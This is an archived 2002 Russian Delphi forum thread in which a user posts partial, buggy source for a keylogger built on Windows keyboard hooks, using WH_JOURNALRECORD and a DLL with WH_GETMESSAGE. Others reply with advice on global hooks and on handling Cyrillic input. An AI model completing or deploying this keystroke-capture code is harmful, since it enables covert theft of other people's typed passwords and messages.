Форум: "WinAPI";
Текущий архив: 2002.10.31;
Скачать: [xml.tar.bz2];
ВнизHook Найти похожие ветки
← →
Igor_thief (2002-09-14 12:17) [0]Народ, помогите разобраться с hook. Мне, ради интереса, захотелось написать клавиатурный шпион. Прочитал парочку статей по работе с dll файлами и просмотрел несколько примеров работы с hook. Попробовал написать шпиона, но он вышел немного глюкавый. Он не воспринимает русские буквы.
Вот исходники:
var
MainForm: TMainForm;
Hook:HHOOK;
Key:integer;
i:longint;
implementation
{$R *.dfm}
function HookProc(Code:integer;WParam:word;LParam:longint):longint;stdcall;
var Msg:PEventMsg;
begin
if Code>=0 then
begin
Result:=0;
Msg:=Pointer(LParam);
with MainForm do
case Msg.message of
WM_KEYDOWN:
begin
Key:=Msg.paramL and 255;
if (Key in[13..126,183..255])and(not(key=46)) then mmMain.Text:=mmMain.Text+chr(Key);
end;
end;
end
else Result:=CallNextHookEx(Hook,Code,WParam,LParam);
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(WH_JOURNALRECORD,@HookProc,HInstance,0);
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
if Hook>0 then UnhookWindowsHookEx(Hook);
end;
Или такой пример:
TMyProcedure=procedure(fl:boolean);stdcall;
var
Form1: TForm1;
DllHandle:THandle;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var Hook:TMyProcedure;
begin
DllHandle:=LoadLibrary(PChar("Hook.dll"));
if DllHandle>HInstance_ERROR then @Hook:=GetProcAddress(DllHandle,"InstallHook")
else ShowMessage("Ошибка при загрузке dll!");
Hook(true);
end;
procedure TForm1.Button2Click(Sender: TObject);
var Hook:TMyProcedure;
begin
Hook:=GetProcAddress(DllHandle,"InstallHook");
Hook(false);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FreeLibrary(DllHandle);
end;
Исходник dll файла:
library Hook;
……
var HookVar:HHOOK;
Key:integer;
function HookProc(Code:integer;WParam:word;LParam:longint;Wnd:HWND):longint;stdcall;
begin
CallNextHookEx(HookVar,Code,WParam,LParam);
if Code=hc_action then
begin
if TMsg(Pointer(LParam)^).message=WM_KeyUp then
begin
key:=LParam;
…………………………….
end;
end;
end;
procedure InstallHook(Switch:boolean);export;stdcall;
begin
if Switch then
begin
HookVar:=SetWindowsHookEx(WH_GETMESSAGE,@HookProc,HInstance,0);
MessageBox(0,"Hook установлен!","Сообщение из dll!",0);
end
else
begin
UnhookWindowsHookEx(HookVar);
MainForm.Free;
MessageBox(0,"Hook снят!","Сообщение!",0);
HookVar:=0;
end;
end;
exports
InstallHook;
begin
end.
← →
Alexeo (2002-09-15 02:15) [1]Мне интересно, каким образом ты умудрился запихать хук в exe"шник?
Нормальный хук состоит из dll библиотеки (самого хука) и вызывающей её приграммы.
Для чтения букв обратись к WinSDK и посмотри что-то вроде virtualcode или scancode, а лучше зайди на FAQ этого сайта или королевства делфи и скачай полный help.
Пока.
← →
Igor_thief (2002-09-15 12:18) [2]>>Alexeo
Спасибочки!
>>Мне интересно, каким образом ты умудрился запихать хук в exe"шник?
Очень просто. И кстатии очень клево работает.
← →
Song (2002-09-15 13:21) [3]>>Очень просто. И кстатии очень клево работает.
Да, только он у Вас не будет глобальным в этом случае.
← →
Igor_thief (2002-09-15 13:49) [4]Ну а как насчет того что я писал про то, что шпион не воспринимает русских букв и пишет все большими буквами. Как это исправить?
← →
Pavel_S (2002-09-15 14:36) [5]Здесь же на сайте лежит статья и премеры по работе с хуками. Посмотри
← →
Igor_thief (2002-09-17 14:37) [6]Смотрел. Я по статье и ориентировался. Все те проблемы которые я перечислил есть и в этой статье.
← →
Dima_______?? (2002-09-18 11:57) [7]Я делал хук который вопринимал Все буквы, Altы, Breakи и даже комбинации Fn+Sleep, Fn+Wake Up и т.д., и все работало глобально и безо всяких DLL! Я помогу всем чем смогу, только напиши ViDiV@mail.ru
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2002.10.31;
Скачать: [xml.tar.bz2];
Память: 0.46 MB
Время: 0.121 c